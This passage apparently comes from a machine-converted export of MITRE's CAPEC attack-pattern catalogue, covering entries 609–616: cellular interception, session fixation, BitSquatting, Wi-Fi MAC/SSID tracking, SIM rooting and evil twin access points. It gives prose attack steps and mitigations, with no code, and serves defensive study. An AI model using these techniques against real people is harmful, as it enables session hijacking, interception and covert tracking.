devices.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35373 + Related_Attack_Pattern_35373 + + + + + + + + + + + + + + 97 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indSkillSkill35381 + Skill_35381 + + + + + + + + + + + + + + Adversaries can rent commercial supercomputer time globally to conduct cryptanalysis on encrypted data captured from mobile devices. Foreign governments have their own cryptanalysis technology and capabilities. Commercial cellular standards for encryption (GSM and CDMA) are also subject to adversary cryptanalysis. + + + + + + + + + + + + #indConsequenceConsequence35384 + Consequence_35384 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Reveals IMSI and IMEI for tracking of retransmission device and enables further follow-on attacks by revealing black network control messages. (e.g., revealing IP addresses of enterprise servers for VOIP connectivity)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of hardened baseband firmware on retransmission device to detect and prevent the use of weak cellular encryption.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor cellular RF interface to detect the usage of weaker-than-expected cellular encryption.</xhtml:div> + + + + + 327 + + + + + + + + + + + + #indContentHistoryContentHistory35397 + Content_History_35397 + + + + + + + + + + + + + + + + #indSubmissionSubmission35398 + Submission_35398 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35403 + Modification_35403 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35409 + Modification_35409 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-609 + Cellular Traffic Intercept + + + + + + + + + 609 + + + + + Cellular Traffic Intercept + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cellular traffic for voice and data from mobile devices and retransmission devices can be intercepted via numerous methods. Malicious actors can deploy their own cellular tower equipment and intercept cellular traffic surreptitiously. Additionally, government agencies of adversaries and malicious actors can intercept cellular traffic via the telecommunications backbone over which mobile traffic is transmitted.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35422 + Related_Attack_Pattern_35422 + + + + + + + + + + + + + + 157 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indSkillSkill35430 + Skill_35430 + + + + + + + + + + + + + + Adversaries can purchase hardware and software solutions, or create their own solutions, to capture/intercept cellular radio traffic. The cost of a basic Base Transceiver Station (BTS) to broadcast to local mobile cellular radios in mobile devices has dropped to very affordable costs. The ability of commercial cellular providers to monitor for "rogue" BTS stations is poor in many areas and it is assumed that "rogue" BTS stations exist in urban areas. + + + + + + + + + + + + #indConsequenceConsequence35433 + Consequence_35433 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Capture all cellular and RF traffic from mobile and retransmission devices. Move bulk traffic capture to storage area for cryptanalysis of encrypted traffic, and telemetry analysis of non-encrypted data. (packet headers, cellular power data, signal strength, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encryption of all data packets emanating from the smartphone to a retransmission device via two encrypted tunnels with Suite B cryptography, all the way to the VPN gateway at the datacenter.</xhtml:div> + + + + + 311 + + + + + + + + + + + + #indTaxonomyMappingMultiFactorAuthenticationInterception + Multi-Factor Authentication Interception + + + + + + + + + + + + + + 1111 + + + + + Multi-Factor Authentication Interception + + + + + + + + + + + + #indContentHistoryContentHistory35451 + Content_History_35451 + + + + + + + + + + + + + + + + #indSubmissionSubmission35452 + Submission_35452 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35457 + Modification_35457 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35463 + Modification_35463 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35469 + Modification_35469 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification35475 + Modification_35475 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns, Skills_Required + + + + + + + + + + + + #indModificationModification35481 + Modification_35481 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-61 + Session Fixation + + + + + + + + + 61 + + + + + Session Fixation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35494 + Related_Attack_Pattern_35494 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indAttackStepAttackStep35497 + Attack_Step_35497 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Setup the Attack] Setup a session: The attacker has to setup a trap session that provides a valid session identifier, or select an arbitrary identifier, depending on the mechanism employed by the application. A trap session is a dummy session established with the application by the attacker and is used solely for the purpose of obtaining valid session identifiers. The attacker may also be required to periodically refresh the trap session in order to obtain valid session identifiers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker chooses a predefined identifier that they know.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker creates a trap session for the victim.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep35504 + Attack_Step_35504 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attract a Victim] Fixate the session: The attacker now needs to transfer the session identifier from the trap session to the victim by introducing the session identifier into the victim's browser. This is known as fixating the session. The session identifier can be introduced into the victim's browser by leveraging cross site scripting vulnerability, using META tags or setting HTTP response headers in a variety of ways.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers can put links on web sites (such as forums, blogs, or comment forms).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers can establish rogue proxy servers for network protocols that give out the session ID and then redirect the connection to the legitimate service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers can email attack URLs to potential victims through spam and phishing techniques.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep35512 + Attack_Step_35512 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Abuse the Victim's Session] Takeover the fixated session: Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the fixated session identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads the predefined session ID into their browser and browses to protected data or functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads the predefined session ID into their software and utilizes functionality with the rights of the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Session identifiers that remain unchanged when the privilege levels change.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Permissive session management mechanism that accepts random user-generated session identifiers</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Predictable session identifiers</xhtml:div> + + + + + + + + + + + + #indSkillSkill35526 + Skill_35526 + + + + + + + + + + + + + + Only basic skills are required to determine and fixate session identifiers in a user's browser. Subsequent attacks may require greater skill levels depending on the attackers' motives. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are no indicators for the server since a fixated session identifier is similar to an ordinarily generated one. However, too many invalid sessions due to invalid session identifiers is a potential warning.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A client can be suspicious if a received link contains preset session identifiers. However, this depends on the client's knowledge of such an issue. Also, fixation through Cross Site Scripting or hidden form fields is usually difficult to detect.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35536 + Consequence_35536 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a strict session management mechanism that only accepts locally generated session identifiers: This prevents attackers from fixating session identifiers of their own choice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use session identifiers that are difficult to guess or brute-force: One way for the attackers to obtain valid session identifiers is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider a banking application that issues a session identifier in the URL to a user before login, and uses the same identifier to identify the customer following successful authentication. An attacker can easily leverage session fixation to access a victim's account by having the victim click on a forged link that contains a valid session identifier from a trapped session setup by the attacker. Once the victim is authenticated, the attacker can take over the session and continue with the same levels of privilege as the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels. See also: CVE-2004-2182</xhtml:div> + + + + + 384 + + + + + 664 + + + + + 732 + + + + + + + + + + + + #indTaxonomyMappingSessionFixation + Session Fixation + + + + + + + + + + + + + + 37 + + + + + Session Fixation + + + + + + + + + + + + #indTaxonomyMappingSessionFixation + Session fixation + + + + + + + + + + + + + + Session fixation + + + + + + + + + + + + #indReferenceReference35567 + Reference_35567 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference35568 + Reference_35568 + + + + + + + + + REF-601 + + + + + Testing for Session Fixation + + + + + + + + + + + + #indContentHistoryContentHistory35570 + Content_History_35570 + + + + + + + + + + + + + + + + #indSubmissionSubmission35571 + Submission_35571 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification35576 + Modification_35576 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35582 + Modification_35582 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification35588 + Modification_35588 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification35594 + Modification_35594 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification35600 + Modification_35600 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification35606 + Modification_35606 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-610 + Cellular Data Injection + + + + + + + + + 610 + + + + + Cellular Data Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries inject data into mobile technology traffic (data flows or signaling data) to disrupt communications or conduct additional surveillance operations.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35618 + Related_Attack_Pattern_35618 + + + + + + + + + + + + + + 240 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indSkillSkill35624 + Skill_35624 + + + + + + + + + + + + + + Often achieved by nation states in conjunction with commercial cellular providers to conduct cellular traffic intercept and possible traffic injection. + + + + + + + + + + + + #indConsequenceConsequence35627 + Consequence_35627 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers can disrupt or deny mobile technology communications and operations.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35632 + Consequence_35632 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers can inject false data into data or signaling system data flows of communications and operations, or re-route data flows or signaling data for the purpose of further data intercept and capture.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Commercial defensive technology to detect and alert to any attempts to modify mobile technology data flows or to inject new data into existing data flows and signaling data.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory35641 + Content_History_35641 + + + + + + + + + + + + + + + + #indSubmissionSubmission35642 + Submission_35642 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35647 + Modification_35647 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35653 + Modification_35653 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-611 + BitSquatting + + + + + + + + + 611 + + + + + BitSquatting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary registers a domain name one bit different than a trusted domain. A BitSquatting attack leverages random errors in memory to direct Internet traffic to adversary-controlled destinations. BitSquatting requires no exploitation or complicated reverse engineering, and is operating system and architecture agnostic. Experimental observations show that BitSquatting popular websites could redirect non-trivial amounts of Internet traffic to a malicious entity.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35666 + Related_Attack_Pattern_35666 + + + + + + + + + + + + + + 616 + + + + + 437 + + + + + 512 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35672 + Related_Attack_Pattern_35672 + + + + + + + + + + + + + + 89 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35673 + Related_Attack_Pattern_35673 + + + + + + + + + + + + + + 543 + + + + + + + + + + + + #indAttackStepAttackStep35676 + Attack_Step_35676 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target website] The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Research popular or high traffic websites.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep35682 + Attack_Step_35682 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate trusted domain] In order to impersonate the trusted domain, the adversary needs to register the BitSquatted URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Register the BitSquatted domain.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep35688 + Attack_Step_35688 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Wait for a user to visit the domain] Finally, the adversary simply waits for a user to be unintentionally directed to the BitSquatted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Simply wait for an error in memory to occur, redirecting the user to the malicious domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.</xhtml:div> + + + + + + + + + + + + #indSkillSkill35699 + Skill_35699 + + + + + + + + + + + + + + Adversaries must be able to register DNS hostnames/URL’s. + + + + + + + + + + + + #indConsequenceConsequence35702 + Consequence_35702 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the intention of the adversary, a successful BitSquatting attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authenticate all servers and perform redundant checks when using DNS hostnames.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When possible, use error-correcting (ECC) memory in local devices as non-ECC memory is significantly more vulnerable to faults.</xhtml:div> + + + + + + + + + + + + #indReferenceReference35713 + Reference_35713 + + + + + + + + + REF-485 + + + + + + + + + + + + #indContentHistoryContentHistory35715 + Content_History_35715 + + + + + + + + + + + + + + + + #indSubmissionSubmission35716 + Submission_35716 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35721 + Modification_35721 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Description, Description Summary, Methods_of_Attack, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification35727 + Modification_35727 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification35733 + Modification_35733 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35739 + Modification_35739 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35745 + Modification_35745 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-612 + WiFi MAC Address Tracking + + + + + + + + + 612 + + + + + WiFi MAC Address Tracking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35757 + Related_Attack_Pattern_35757 + + + + + + + + + + + + + + 292 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indSkillSkill35763 + Skill_35763 + + + + + + + + + + + + + + Open source and commercial software tools are available and several commercial advertising companies routinely set up tools to collect and monitor MAC addresses. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Automatic randomization of WiFi MAC addresses</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Frequent changing of handset and retransmission device</xhtml:div> + + + + + 201 + + + + + 300 + + + + + + + + + + + + #indContentHistoryContentHistory35773 + Content_History_35773 + + + + + + + + + + + + + + + + #indSubmissionSubmission35774 + Submission_35774 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35779 + Modification_35779 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35785 + Modification_35785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-613 + WiFi SSID Tracking + + + + + + + + + 613 + + + + + WiFi SSID Tracking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35797 + Related_Attack_Pattern_35797 + + + + + + + + + + + + + + 292 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indSkillSkill35803 + Skill_35803 + + + + + + + + + + + + + + Open source and commercial software tools are available and open databases of known WiFi SSID addresses are available online. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not enable the feature of "Hidden SSIDs" (also known as "Network Cloaking") – this option disables the usual broadcasting of the SSID by the access point, but forces the mobile handset to send requests on all supported radio channels which contains the SSID. The result is that tracking of the mobile device becomes easier since it is transmitting the SSID more frequently.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Frequently change the SSID to new and unrelated values</xhtml:div> + + + + + 201 + + + + + 300 + + + + + + + + + + + + #indContentHistoryContentHistory35813 + Content_History_35813 + + + + + + + + + + + + + + + + #indSubmissionSubmission35814 + Submission_35814 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35819 + Modification_35819 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35825 + Modification_35825 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification35831 + Modification_35831 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-614 + Rooting SIM Cards + + + + + + + + + 614 + + + + + Rooting SIM Cards + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35843 + Related_Attack_Pattern_35843 + + + + + + + + + + + + + + 186 + + + + + 403 + + + + + 437 + + + + + 685 + + + + + 687 + + + + + 688 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A SIM card that relies on the DES cipher.</xhtml:div> + + + + + + + + + + + + #indSkillSkill35854 + Skill_35854 + + + + + + + + + + + + + + This is a sophisticated attack, but detailed techniques are published in open literature. + + + + + + + + + + + + #indConsequenceConsequence35857 + Consequence_35857 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Upgrade the SIM card to use the state-of-the-art AES or the somewhat outdated 3DES algorithm for OTA.</xhtml:div> + + + + + 327 + + + + + + + + + + + + #indReferenceReference35870 + Reference_35870 + + + + + + + + + REF-486 + + + + + + + + + + + + #indContentHistoryContentHistory35872 + Content_History_35872 + + + + + + + + + + + + + + + + #indSubmissionSubmission35873 + Submission_35873 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35878 + Modification_35878 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35884 + Modification_35884 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35890 + Modification_35890 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35896 + Modification_35896 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName35902 + Previous_Entry_Name_35902 + + + + + + + + + 2017-01-09 + + + + + Rooting SIM CardS + + + + + + + + + + + + #CAPEC-615 + Evil Twin Wi-Fi Attack + + + + + + + + + 615 + + + + + Evil Twin Wi-Fi Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries install Wi-Fi equipment that acts as a legitimate Wi-Fi network access point. When a device connects to this access point, Wi-Fi data traffic is intercepted, captured, and analyzed. This also allows the adversary to use "adversary-in-the-middle" (CAPEC-94) for all communications.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35909 + Related_Attack_Pattern_35909 + + + + + + + + + + + + + + 616 + + + + + 403 + + + + + 437 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence35918 + Consequence_35918 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Intercept and control Wi-Fi data communications to/from mobile device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Commercial defensive technology that monitors for rogue Wi-Fi access points, adversary-in-the-middle attacks, and anomalous activity with the mobile device baseband radios.</xhtml:div> + + + + + 300 + + + + + + + + + + + + #indContentHistoryContentHistory35930 + Content_History_35930 + + + + + + + + + + + + + + + + #indSubmissionSubmission35931 + Submission_35931 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification35936 + Modification_35936 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification35942 + Modification_35942 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification35948 + Modification_35948 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification35954 + Modification_35954 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description, Mitigations + + + + + + + + + + + + #indModificationModification35960 + Modification_35960 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-616 + Establish Rogue Location + + + + + + + + + 616 + + + + + Establish Rogue Location + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35973 + Related_Attack_Pattern_35973 + + + + + + + + + + + + + + 154 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern35974 + Related_Attack_Pattern_35974 + + + + + + + + + + + + + + 691 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A resource is expected to available to the user.</xhtml:div> + + + + + + + + + + + + #indSkillSkill35980 + Skill_35980 + + + + + + + + + + + + + + Adversaries can often purchase low-cost technology to implement rogue access points. + + + + + + + + + + + + #indConsequenceConsequence35983 + Consequence_35983 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Successful attacks of this nature can result in a wide variety of consequences and negatively impact confidentiality and integrity based on the adversary's subsequent actions.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingMasqueradingMatchLegitimateNameOrLocation + Masquerading: Match Legitimate Name or Location + + + + + + + + + + + + + + 1036.005 + + + + + Masquerading: Match Legitimate Name or Location + + + + + + + + + + + + 